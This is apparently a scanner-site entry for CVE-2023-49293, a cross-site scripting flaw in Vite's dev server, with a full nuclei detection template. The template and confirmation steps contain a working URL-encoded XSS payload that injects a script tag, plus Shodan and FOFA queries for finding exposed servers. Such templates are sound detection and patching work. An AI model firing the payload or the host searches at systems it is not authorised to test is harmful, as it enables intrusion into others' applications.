Vite dev server - Cross-Site Scripting

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.

Impact

Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.

Fix

Update to [email protected], [email protected], or [email protected].

How to confirm it

Send: GET {{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "src=\"/@id/__x00__/?\"></script><script>alert(document.domain…" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-49293 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-49293

info:
  name: Vite dev server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
  impact: |
    Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
  remediation: |
    Update to [email protected], [email protected], or [email protected].
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49293
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49293
    epss-score: 0.00997
    epss-percentile: 0.63003
    cwe-id: CWE-80
  metadata:
    max-request: 1
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,vite,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

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